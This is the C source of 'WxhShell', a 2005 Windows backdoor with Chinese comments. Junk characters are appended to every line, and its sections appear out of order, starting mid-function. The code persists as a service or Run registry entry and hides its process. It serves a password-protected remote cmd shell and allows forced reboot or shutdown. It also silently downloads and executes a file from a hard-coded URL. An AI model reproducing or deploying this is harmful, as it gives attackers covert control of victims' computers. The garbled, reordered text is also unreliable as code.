    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OU##A:gI  
    if(Boot(SHUTDOWN)) nYe}d!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |EApKxaKD  
    else { A~6 Cs  
    closesocket(wsh); spI{d!c  
    ExitThread(0); m&\Gz*)3  
    } zf!c  
    break; WX[y cm8  
    } qkEy$[D9  
  // 获取shell iaC$K@a{  
  case 's': { }a`LOBne  
    CmdShell(wsh); [brrziZ  
    closesocket(wsh); @!S$gTz  
    ExitThread(0); EAI[J&c  
    break; +2g3%c0}  
  } zPXd]jIwV  
  // 退出 iO@wqbg$6  
  case 'x': { ^Nu} HcC+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (UM+?]Qwy  
    CloseIt(wsh); #i,O "`4  
    break; Jq!($PdA  
    } `Ctj]t  
  // 离开 HlO+^(eX  
  case 'q': { Ju\"l8[f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pI!55w|  
    closesocket(wsh); ) ad-s  
    WSACleanup(); w7C=R8^  
    exit(1); o#Y1Uamkf  
    break; IIPf5 Z}A  
        } pxF!<nN1,  
  } -K !-a'J  
  } vuAjAeKm  
e,BJD>N ?  
  // 提示信息 G pd:k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;CW$/^QNr5  
} )Ga6O2:  
  } |j+~Td3})&  
ieI-_]|[  
  return; H~@h #6  
} WIghP5%W  
NWvxbv  
// shell模块句柄 BpCSf.zZ  
int CmdShell(SOCKET sock) 5J;c;PF  
{ 'UyL%h;nJ  
STARTUPINFO si; 3LmHH =  
ZeroMemory(&si,sizeof(si)); oMPQkj;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +R_U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X}yYBf/R`  
PROCESS_INFORMATION ProcessInfo; $Yka\tS'  
char cmdline[]="cmd"; :uEp7Y4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m "DMa  
  return 0; wnX6XyUH  
} _e'mG'P(  
^#o.WL%4/B  
// 自身启动模式 u *< (B  
int StartFromService(void) e=_hfOUC  
{ %9lxE[/  
typedef struct l0_V-|x  
{ SS`C0&I@p  
  DWORD ExitStatus; nAzr!$qbNv  
  DWORD PebBaseAddress; by<2hLB9Q  
  DWORD AffinityMask; (tgaH,G  
  DWORD BasePriority; hq BRh+[  
  ULONG UniqueProcessId; 8n)Q^z+ K  
  ULONG InheritedFromUniqueProcessId; Ua]zTMI  
}   PROCESS_BASIC_INFORMATION; sF$m?/Kt  
<wC1+/]  
PROCNTQSIP NtQueryInformationProcess; -O5m@rwt<  
KkY22_{ac  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eBB D9 SI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mm8O  
{ SfU!  
  HANDLE             hProcess; F\I^d]#,[  
  PROCESS_BASIC_INFORMATION pbi; =N c`hP  
"DpQnhvbB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X&IY(CX  
  if(NULL == hInst ) return 0; Q?@G>uz  
tTgW^&B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); if'4MDl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H/$q]i*#K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *"ShE=\p  
0u_'(Z-^2  
  if (!NtQueryInformationProcess) return 0; gUp0RPs  
`Nn?G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gm DC,"Y<  
  if(!hProcess) return 0; J^:~#`8  
O^#u%/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5glGlD6R  
0YL0Oa+7  
  CloseHandle(hProcess); #7=LI\  
St`m52V(5X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E`|qFG<  
if(hProcess==NULL) return 0; gISs+g  
${wE5^ky  
HMODULE hMod; MeX1y]<It  
char procName[255]; B pT&vbY  
unsigned long cbNeeded; BXY'%8q _a  
\Hd B   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :X f3wP=  
Vd4osBu{fY  
  CloseHandle(hProcess); ;"Y6&YP<  
#F@7>hd1  
if(strstr(procName,"services")) return 1; // 以服务启动 M6iKl  
b G)MG0<TT  
  return 0; // 注册表启动 }b`*%141  
} AHGcWS\,X  
R{vPn8X 6g  
// 主模块 8H?AL RG  
int StartWxhshell(LPSTR lpCmdLine) B5G$o{WM  
{ }^7V^W  
  SOCKET wsl; /3]|B%W9  
BOOL val=TRUE; 3)Y:c2  
  int port=0; <.ky1aex7  
  struct sockaddr_in door;  Dfia=1A  
G.8b\E~  
  if(wscfg.ws_autoins) Install(); qS al~  
x(=x;X$[^  
port=atoi(lpCmdLine); cmI#R1\  
ub5hX{uT  
if(port<=0) port=wscfg.ws_port; Hea<!zPH  
hT"K}d;X  
  WSADATA data; E6M: ^p*<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sA}R!  
!$Z"\v'b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9DX3]Z\7X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G,*s9P]1  
  door.sin_family = AF_INET; ISew]R2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7`HUwu  
  door.sin_port = htons(port); /&7Yi_]r  
#LJ-IDuF!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ck?:8YlF  
closesocket(wsl); W?-BT >#s  
return 1; "M^W:4_  
} DT4RodE$  
uszSFe]E  
  if(listen(wsl,2) == INVALID_SOCKET) { u,:`5*al{  
closesocket(wsl); 1o>R\g3  
return 1; 8[;oUVb5  
} (B<AK4G  
  Wxhshell(wsl); KTt$Pt/.  
  WSACleanup(); Xkom@F~]  
ton`ji\^  
return 0; :g[x;Q [@  
{LHe 6#  
} ~-wJ#E3g  
X:&p9_O@  
// 以NT服务方式启动 lVtn$frp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q}Z T?Xk?  
{ bK9~C" k  
DWORD   status = 0; C)s1' =TZ  
  DWORD   specificError = 0xfffffff; GK?R76d  
pIiED9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; / LM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; - oBas4J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yX3H&F6  
  serviceStatus.dwWin32ExitCode     = 0; Ba|}C(Ws?  
  serviceStatus.dwServiceSpecificExitCode = 0; i0Q _f!j  
  serviceStatus.dwCheckPoint       = 0; % T\N@  
  serviceStatus.dwWaitHint       = 0; sA-W^*+  
_x 6E_i-(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q- (N Zno  
  if (hServiceStatusHandle==0) return; \N+Ta:U1P  
LoE(W|nj  
status = GetLastError(); <Cu?$  
  if (status!=NO_ERROR) e-3pg?M  
{ O&iYGREO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GD{fXhgk  
    serviceStatus.dwCheckPoint       = 0; kDY]>v  
    serviceStatus.dwWaitHint       = 0; `yX+NRi(s  
    serviceStatus.dwWin32ExitCode     = status; x9A ZS#e)[  
    serviceStatus.dwServiceSpecificExitCode = specificError; zN/~a)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (!5}" fj  
    return; DN':-PK  
  } IC.<)I  
&iy(oM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g{)H" 8L  
  serviceStatus.dwCheckPoint       = 0; nvo1+W(%  
  serviceStatus.dwWaitHint       = 0; Ja=70ZI^ 6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xWz;5=7a]  
} _ZM9 "<M-X  
"4uUI_E9F;  
// 处理NT服务事件,比如:启动、停止 kjC{Zr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XW_xNkpL5c  
{ Tv,.  
switch(fdwControl) 9$V_=Bo  
{ 9^#gVTGXv  
case SERVICE_CONTROL_STOP: 0gD59N'C  
  serviceStatus.dwWin32ExitCode = 0; 0k 0c   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; " IkF/  
  serviceStatus.dwCheckPoint   = 0; 76Vyhf&7  
  serviceStatus.dwWaitHint     = 0; J&ECm+2  
  { m4SXH> o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :#:O(K1PW  
  } pUMB)(<k  
  return; w+q;dc8  
case SERVICE_CONTROL_PAUSE: 9'#.>Q>0=j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e$+f~~K  
  break; a05:iFoJ  
case SERVICE_CONTROL_CONTINUE: *R\/#Y|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -b\ V(@5  
  break; _q$LrAT  
case SERVICE_CONTROL_INTERROGATE: 6+nMH +[  
  break; 8<wuH#2<y  
}; dF11Rj,~ 8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^x"c0R^  
} Rk jKIa  
:Mu8W_  
// 标准应用程序主函数 &Dg)"Xji  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u4,X.3V]A  
{ b}&7~4zw  
a$zm/  
// 获取操作系统版本 3^R][;  
OsIsNt=GetOsVer(); tZu*Asx7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `Ivw`}L  
$K.%un Gm  
  // 从命令行安装 m7wc)"`t  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?WQd  
'Rkvsch  
  // 下载执行文件 pG F5aF7T  
if(wscfg.ws_downexe) { CziaxJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x"l lX  
  WinExec(wscfg.ws_filenam,SW_HIDE); :7Z\3_D/  
} opcR~tg@r  
D PS1GO*  
if(!OsIsNt) { J={OOj  
// 如果时win9x,隐藏进程并且设置为注册表启动 3pTS@  
HideProc(); 7hN6IP*so  
StartWxhshell(lpCmdLine); mB^I @oZ*  
} %V<F<  
else 2^^'t6@  
  if(StartFromService()) [[?[? V ,  
  // 以服务方式启动 R2Rstk  
  StartServiceCtrlDispatcher(DispatchTable); ICl_ eb  
else 2Z;`#{  
  // 普通方式启动 mU3Y)  
  StartWxhshell(lpCmdLine); XAU_SPAjiw  
ua$k^m7m5  
return 0; ]o[X+;Tj|  
} V3 _b!  
Q3Z%a|3W  
9oj e`Ay  
)`s;~_ZZ  
=========================================== uH ny ]  
Cwsoz  
Ck3QrfM  
=|gJb|?w  
s la*3~ ?*  
])QO%  
" )+w/\~@  
qJ X+[PJ  
#include <stdio.h> B3cf] S%  
#include <string.h> AFINm%\/0  
#include <windows.h> ~X~xE]1o|U  
#include <winsock2.h> $h,&b<-  
#include <winsvc.h> ;-9zMbte :  
#include <urlmon.h> 8!uL-_Bn  
zr3q>]oma  
#pragma comment (lib, "Ws2_32.lib") S)\JWXi~:J  
#pragma comment (lib, "urlmon.lib") @[5_C?2  
$#G6m`V  
#define MAX_USER   100 // 最大客户端连接数 'Vm5Cs$  
#define BUF_SOCK   200 // sock buffer O$"bd~X  
#define KEY_BUFF   255 // 输入 buffer 49xp2{  
D%;wVnU w  
#define REBOOT     0   // 重启 sP6 ):h  
#define SHUTDOWN   1   // 关机 %$ir a\ sM  
rq<`(V'2  
#define DEF_PORT   5000 // 监听端口 /63 W\  
|{7e#ww]  
#define REG_LEN     16   // 注册表键长度 ^sT +5M^  
#define SVC_LEN     80   // NT服务名长度 ;w+:8<mM}a  
W>}Qer4  
// 从dll定义API Dm|gSv8d,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y$j1?7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <ELziE~>V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BcZEa^^~os  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 42Aje  
f[JI/H>  
// wxhshell配置信息 d s|8lz,  
struct WSCFG { ?jNF6z*M6  
  int ws_port;         // 监听端口 HUU >hq9  
  char ws_passstr[REG_LEN]; // 口令 Kf05<J!  
  int ws_autoins;       // 安装标记, 1=yes 0=no zdLVxL>87  
  char ws_regname[REG_LEN]; // 注册表键名 Jw:Fj {D  
  char ws_svcname[REG_LEN]; // 服务名 ub`z7gL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /'&.aGW4%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *Nv y+V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k_*XJ<S!Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VO. -.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ynv9&P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2!{_/@I\Y  
0NL :z1N-h  
}; :b<-[8d&  
mD D4_E2*  
// default Wxhshell configuration Yl)eh(\&J  
struct WSCFG wscfg={DEF_PORT, ERp:EZ'  
    "xuhuanlingzhe", 0(Y%,q  
    1, A+0T"2  
    "Wxhshell", Ud>`@2  
    "Wxhshell", ee&nU(pK  
            "WxhShell Service", $xRo<,OV+  
    "Wrsky Windows CmdShell Service", ov\Ct%]  
    "Please Input Your Password: ", F-$Z,Q]S  
  1, 0M#N=%31  
  "http://www.wrsky.com/wxhshell.exe", dr| | !{\  
  "Wxhshell.exe" z3^RUoGU  
    }; 7XUhJN3n  
eZ!yPdgy|  
// 消息定义模块 ^H5w41  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V.K70)]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZhGh {D[,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F3r S6_  
char *msg_ws_ext="\n\rExit."; 9USrgY6_  
char *msg_ws_end="\n\rQuit."; <KHv|)ak  
char *msg_ws_boot="\n\rReboot..."; ?gd'M_-J,  
char *msg_ws_poff="\n\rShutdown..."; z6p#fsD  
char *msg_ws_down="\n\rSave to "; %$/=4f.j  
/Qr A8  
char *msg_ws_err="\n\rErr!"; /\TQc-k?2  
char *msg_ws_ok="\n\rOK!"; W.yV/fu  
5c<b|  
char ExeFile[MAX_PATH]; b%3Q$wIJ6  
int nUser = 0; ISpeV  
HANDLE handles[MAX_USER]; -`-ACWeNV  
int OsIsNt; jv*Dg (  
h^%GE;N  
SERVICE_STATUS       serviceStatus; =RQ )$ %  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .>k=A|3G  
xM%H~(  
// 函数声明 hX0RET  
int Install(void); nURvy}<r  
int Uninstall(void); y!S^xS  
int DownloadFile(char *sURL, SOCKET wsh); qzz[y#q(  
int Boot(int flag); rQ=xcn[A  
void HideProc(void);  &|/vM.  
int GetOsVer(void); hA@zoIoe  
int Wxhshell(SOCKET wsl); nped  
void TalkWithClient(void *cs); lN);~|IOv7  
int CmdShell(SOCKET sock); ?$<SCN =  
int StartFromService(void); d-hbvLn  
int StartWxhshell(LPSTR lpCmdLine); jVX._bEGX  
s0gJ f[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n)tU9@4Np  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B:e.gtM5  
vAi"$e  
// 数据结构和表定义 3|q2rA  
SERVICE_TABLE_ENTRY DispatchTable[] = 86/.8  
{ e-~hS6p(  
{wscfg.ws_svcname, NTServiceMain}, lxm*;?j`W  
{NULL, NULL} Er`TryN|}  
}; grGhN q  
`f%&<,i  
// 自我安装 ~af8p {  
int Install(void) 1lbwJVY[  
{ d?JAUbqy  
  char svExeFile[MAX_PATH]; +<gg  
  HKEY key; $RpF xi  
  strcpy(svExeFile,ExeFile); ';_1rh  
D=2~37CzQ1  
// 如果是win9x系统,修改注册表设为自启动 <H<!ht%q3  
if(!OsIsNt) { \.5F](:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .H ,pO#{;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ex.+'m<g  
  RegCloseKey(key); &8Zeq3~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3b#L17D3_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /d[Mss  
  RegCloseKey(key); 7`Qde!+C  
  return 0; TKK,Y{{  
    } 1d`cTaQ-  
  } K-Re"zsz  
} pV8[l)J  
else { }(m1ql  
N"S3N)wgd  
// 如果是NT以上系统,安装为系统服务  dFzYOG1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T&]Na  
if (schSCManager!=0) xne]Q(B>  
{ >Q&CgGpW$  
  SC_HANDLE schService = CreateService b~1iPaIh  
  ( c2/"KT  
  schSCManager, j]AekI4I  
  wscfg.ws_svcname, ? 'Cb-C_  
  wscfg.ws_svcdisp, [9LxhPi  
  SERVICE_ALL_ACCESS, 8IeI0f"l)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '[%jjUU  
  SERVICE_AUTO_START, ?qy*s3 j'M  
  SERVICE_ERROR_NORMAL, [@ILc*2O  
  svExeFile, 3]N q@t  
  NULL, wXz\NGW  
  NULL, Qy/uB$q{A  
  NULL, #kj~G]QA  
  NULL,  +.=1^+a  
  NULL U4=]#=R~o  
  ); NJk)z&M  
  if (schService!=0) ;3mL^  
  { Is ot4HLM  
  CloseServiceHandle(schService); iZC>)&ax  
  CloseServiceHandle(schSCManager); lHcA j{6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C(}^fJ6r  
  strcat(svExeFile,wscfg.ws_svcname); JT}.F!q6E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xg?auje  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); emA.{cVr!  
  RegCloseKey(key); k j-=xhJ{=  
  return 0; Mw+v"l&mU  
    } P`tyBe#=  
  } Sg_O?.r  
  CloseServiceHandle(schSCManager); 7"#f!.E  
} lVP |W:~K  
} |88CBiu}  
W-1sU g[AN  
return 1; ubi~%  
} ;ed#+$Na  
w;~>k%}j  
// 自我卸载 J||E;=%f-Q  
int Uninstall(void) oooS s&t  
{ },&h[\N{6  
  HKEY key; p=H3Q?HJ}  
#,TELzUVE  
if(!OsIsNt) { ZvH?3Jy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7|Xe&o<n  
  RegDeleteValue(key,wscfg.ws_regname); C!5I?z&  
  RegCloseKey(key); /22nLc;/Cx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bi.wYp(*6L  
  RegDeleteValue(key,wscfg.ws_regname); Xo\S9,s{  
  RegCloseKey(key); $2QYxY9s  
  return 0; drI\iae{^  
  } <*_o0;h|  
} d+0^u(gc!8  
} [3kl^TE  
else { +mLD/gK`  
Dm^l?Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #~S>K3(  
if (schSCManager!=0) Q,~x#  
{ 68p R:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F_v-}bbcFQ  
  if (schService!=0) |kseKZ3  
  { *,&S',S-  
  if(DeleteService(schService)!=0) { 0yaMe@&,  
  CloseServiceHandle(schService); 57<Di!rt  
  CloseServiceHandle(schSCManager); x}|+sS,g  
  return 0; ioWo ]  
  } l~ D\;F  
  CloseServiceHandle(schService); dZDK7UL  
  } 85D? dgV  
  CloseServiceHandle(schSCManager); b)`pZiQP  
} >Mw'eQ0(y  
} ws[/  
7E\g &R.  
return 1; O@wK[(w^  
} uFo/s&6K  
lm*g Gy1i  
// 从指定url下载文件 2T?TM! \Q  
int DownloadFile(char *sURL, SOCKET wsh) 0<Q*7aY  
{ z&F5mp@  
  HRESULT hr; )b0];&hw]  
char seps[]= "/"; 7h`^N5H.q  
char *token; H99xZxHZ{  
char *file; nA+F  
char myURL[MAX_PATH]; Z9VR]cf?  
char myFILE[MAX_PATH]; {[P!$ /  
M*(H)i;s:w  
strcpy(myURL,sURL); vY_eDJ~'  
  token=strtok(myURL,seps); tF%QH[  
  while(token!=NULL) -?z\5 z  
  { ,rai%T/rL  
    file=token; @Z q[e   
  token=strtok(NULL,seps); N 2Ssf$  
  } >Nh`rkR2[  
Mg\TH./Y:  
GetCurrentDirectory(MAX_PATH,myFILE); *VDVC0R  
strcat(myFILE, "\\"); iZ "y7s  
strcat(myFILE, file); iD714+N(  
  send(wsh,myFILE,strlen(myFILE),0); ]-bQNYKX  
send(wsh,"...",3,0);  n}OU Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?-,6<K1  
  if(hr==S_OK) j^nu|  
return 0; \c% g M1  
else `[Sl1saZ$S  
return 1; (A4&k{C_  
e2wvc/gG6  
} ^V .'^=l  
)i-gs4[(QN  
// 系统电源模块 Mq'IkSt'  
int Boot(int flag) G "brT5:  
{ vBoO'l9'M  
  HANDLE hToken; 9yL6W'B!  
  TOKEN_PRIVILEGES tkp; \=fh-c(J,  
q:]Q% IC^  
  if(OsIsNt) { =$&&[&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d}+W"j;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P)hi||[  
    tkp.PrivilegeCount = 1; (NaK3_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I_>`hTiR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v2>Z^  
if(flag==REBOOT) { M1{(OY(G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s[X B#)H4  
  return 0; CA*~2|  
} #xp(B5  
else { :)4*^a/lC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mk5RHDh  
  return 0; $3\,h; y  
} vaB!R 0  
  } Y0RgJn  
  else { b#='^W3  
if(flag==REBOOT) { VB"(9O]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5v|EAjB6o  
  return 0; ix*muVBj.  
} u"Y]P*[k  
else { [K:29N9~4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  =:~(m  
  return 0; IaasHo\  
} 5g0_WpO  
} onnugj3  
-_>.f(1  
return 1; zPE$  
} x{hn2]6+eB  
l1r_b68  
// win9x进程隐藏模块 9/3;{`+[a  
void HideProc(void) Mudrg[@ `  
{ JA6";fl;  
1`l;xw1W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Qxq-Mpx{  
  if ( hKernel != NULL ) h<NRE0-  
  { nzuF]vo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xS+rHC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eY}V9*.v  
    FreeLibrary(hKernel); wS$46M<  
  } >nM%p4E  
-nR\,+N  
return; 28UVDG1?  
} mi^hvks<  
S^j,f'2  
// 获取操作系统版本 (U9a@ 1  
int GetOsVer(void) s|2}2<+  
{ 1exfCm  
  OSVERSIONINFO winfo; iN)af5)[^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y /lN@  
  GetVersionEx(&winfo); 9@y3IiZ"}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6+PGwCS  
  return 1; ri+U0[e3  
  else 0roCP=;  
  return 0; QO,+ps<  
} fj+O'X  
!^v\^Fc  
// 客户端句柄模块 LNiS`o\  
int Wxhshell(SOCKET wsl) L|\Diap  
{ +)gB9DoK  
  SOCKET wsh; 'n4u-pM(nB  
  struct sockaddr_in client; I7G,`h+H  
  DWORD myID; Ekjf^Uo  
])N%^Qe$U  
  while(nUser<MAX_USER) % wL,v.}  
{ .@k*p>K  
  int nSize=sizeof(client); 28oJFi]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MZ~.(&  
  if(wsh==INVALID_SOCKET) return 1; ug&92Hdvy3  
ny1 \4C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8R4qU!M  
if(handles[nUser]==0) tlGWl0V?7Q  
  closesocket(wsh); w~N-W8xNR  
else H[nz]s  
  nUser++; 7zGMkl  
  } a5V=!OoMk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w+_Wc~f  
7#pZa.B)k  
  return 0; Funj!x'uE  
} j@v-|  
HcO5?{2  
// 关闭 socket aYVDp{_  
void CloseIt(SOCKET wsh) eqhAus?)  
{ p(?3 V  
closesocket(wsh); ps+:</;Z  
nUser--; @q)E=G1<o0  
ExitThread(0); JIV8q HC  
} woau'7}XOu  
jONjt(&N  
// 客户端请求句柄 c[5@ \j\  
void TalkWithClient(void *cs) =l,#iYJP8  
{ ^:z7E1 ~  
$?f]ZyZr.  
  SOCKET wsh=(SOCKET)cs; sykFSPy`'  
  char pwd[SVC_LEN]; sN]Z #7  
  char cmd[KEY_BUFF]; rPO}6lsc  
char chr[1]; `qu] Pxk  
int i,j; hdj%|~Fj  
MaErx\  
  while (nUser < MAX_USER) { TzrW   
,q</@}.\wN  
if(wscfg.ws_passstr) { v#Upw\!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nh;y:Bi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +^gO/ 0  
  //ZeroMemory(pwd,KEY_BUFF); C #aFc01B  
      i=0; SRWg[H  
  while(i<SVC_LEN) { -*3(a E  
5"gL.Ez  
  // 设置超时 rzT{-DZB[4  
  fd_set FdRead; all*P #[X  
  struct timeval TimeOut; ]M\q0>HoJ  
  FD_ZERO(&FdRead); iZC`z }  
  FD_SET(wsh,&FdRead); )X%oXc&C|  
  TimeOut.tv_sec=8; P` ]ps?l  
  TimeOut.tv_usec=0; \Tkp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qTy v.#{y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hr~.Lj5^W  
+WL  D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2sun=3qb  
  pwd=chr[0]; NCDxcz;Gb  
  if(chr[0]==0xd || chr[0]==0xa) { D|TR!  
  pwd=0; b1)\Zi  
  break; v, 0<9!'v  
  } 7d9Z/J@>  
  i++; /7vE>mSY  
    } f?-J#x)  
VIg\]%qse  
  // 如果是非法用户,关闭 socket FG# nap{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hS_.l}0yf  
} vJThU$s-  
vZk9gGjk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7@a\*|K6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [gn[nP9  
vHc#m@4o  
while(1) { {u4i*udG`)  
-TZ^~s  
  ZeroMemory(cmd,KEY_BUFF); "XB4yExy  
mu>] 9ZW  
      // 自动支持客户端 telnet标准   UR,?!rJ^B  
  j=0; 0_HJ.g!  
  while(j<KEY_BUFF) { xB,/dMdTj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e5L 1er;6  
  cmd[j]=chr[0]; iAHZ0Du  
  if(chr[0]==0xa || chr[0]==0xd) { DaDUK?  
  cmd[j]=0; O! (85rp/  
  break; 'M-)Os "  
  } nX 8B;*p6b  
  j++; Ays L-sqR  
    } )f[C[Rd  
GGM5m|4  
  // 下载文件 X+*<B(E  
  if(strstr(cmd,"http://")) { %ET # z!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?RJdn]`4j  
  if(DownloadFile(cmd,wsh)) 07Y_^d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X TM$a9)  
  else nF|Oy0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4 +I 3+a"  
  } AoU_;B\b%  
  else { W1`Dx(g  
